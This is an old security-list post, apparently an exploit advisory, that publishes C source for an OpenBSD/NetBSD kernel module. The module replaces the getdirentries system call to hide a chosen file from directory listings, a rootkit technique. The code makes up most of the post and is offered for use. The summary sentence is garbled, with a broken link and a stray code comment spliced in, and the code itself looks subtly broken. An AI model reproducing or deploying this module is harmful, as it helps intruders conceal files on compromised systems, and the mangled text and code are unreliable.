[EXPL] OpenBSD and NetBSD LKM That Hides Files by Patching getdirentries()

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Date: 01/05/03

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      OpenBSD and NetBSD LKM That Hides Files by Patching getdirentries()
    ------------------------------------------------------------------------

    SUMMARY

    The following exploit code is a LKM (Loadable Kernel Module) that is able
    to hide files by patching the
    <http://resin.csoft.net/cgi-bin/man.cgi?section=2&topic=getdirentriesen <br> better would be to limit it to those users who/* 2002 by gr33k gr33k@frapes.org www.frapes.org www.gm.fh-koeln.de/~ai604
    getdirentries() function.

    DETAILS

    Exploit:
    /* OpenBSD (should work also on NetBSD) LKM hiding file using
    getdirentries */
    /* systemcall! */
    /* 2002 by gr33k gr33k@frapes.org www.frapes.org www.gm.fh-koeln.de/~ai604
    */

    #define DONT_PERMIT
    #include <sys/param.h>
    #include <sys/systm.h>
    #include <sys/syscall.h>
    #include <sys/mount.h>
    #include <sys/conf.h>
    #include <sys/syscallargs.h>
    #include <sys/exec.h>
    #include <sys/lkm.h>
    #include <sys/file.h>
    #include <sys/filedesc.h>
    #include <sys/errno.h>
    #include <sys/dirent.h>
    #include <sys/proc.h>
    #include <sys/syslog.h>
    #include <sys/malloc.h>

    int my_getdirentries __P((struct proc *, void *, register_t *));
    MOD_MISC("HideFile");

    static int
    HideFile_load(struct lkm_table *lkmtp,int cmd)
    {
     if(cmd==LKM_E_LOAD)
     {
      sysent[SYS_getdirentries].sy_call=my_getdirentries;
     }
     return 0;
    }

    static int
    HideFile_unload(struct lkm_table *lkmtp,int cmd)
    {
     if(cmd==LKM_E_UNLOAD)
     {
      sysent[SYS_getdirentries].sy_call=sys_getdirentries;
     }
     return 0;
    }

    HideFile(lkmtp,cmd,ver)
     struct lkm_table *lkmtp;
     int cmd;
     int ver;
     {
      DISPATCH(lkmtp,cmd,ver,HideFile_load,HideFile_unload,lkm_nofunc);
     }

    int
    my_getdirentries(p,v,retval)
     struct proc *p;
     void *v;
     register_t *retval;
     {
      register struct sys_getdirentries_args *uap=v;
      unsigned int tmp,n,t;
      struct dirent *dirp2,*dirp3;
      char hide[]="top-secret"; /* Edit filename */

      getdirentries(p,uap);
      tmp=p->p_dupfd;
      if(tmp>0)
      {
       copyin(&(uap->buf),dirp2,tmp);
       dirp3=dirp2;
       t=tmp;
       while(t>0)
       {
        n=dirp3->d_reclen;
        t-=n;
        if(strcmp((char*)&(dirp3->d_name), (char*)&hide)==0)
        {
         if(t!=0)
         bcopy((char*)dirp3+n,(char*)dirp3,t);
        }
        tmp-=n;
       }
       if(dirp3->d_reclen==0)
         t=0;
       if(t!=0)
         dirp3=(struct dirent*)((char*)dirp3+dirp3->d_reclen);
      }
      p->p_dupfd=tmp;
      copyout(dirp2,&(uap->buf),tmp);
      return (0);
     }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:gr33k@frapes.org> gr33k.

    ========================================

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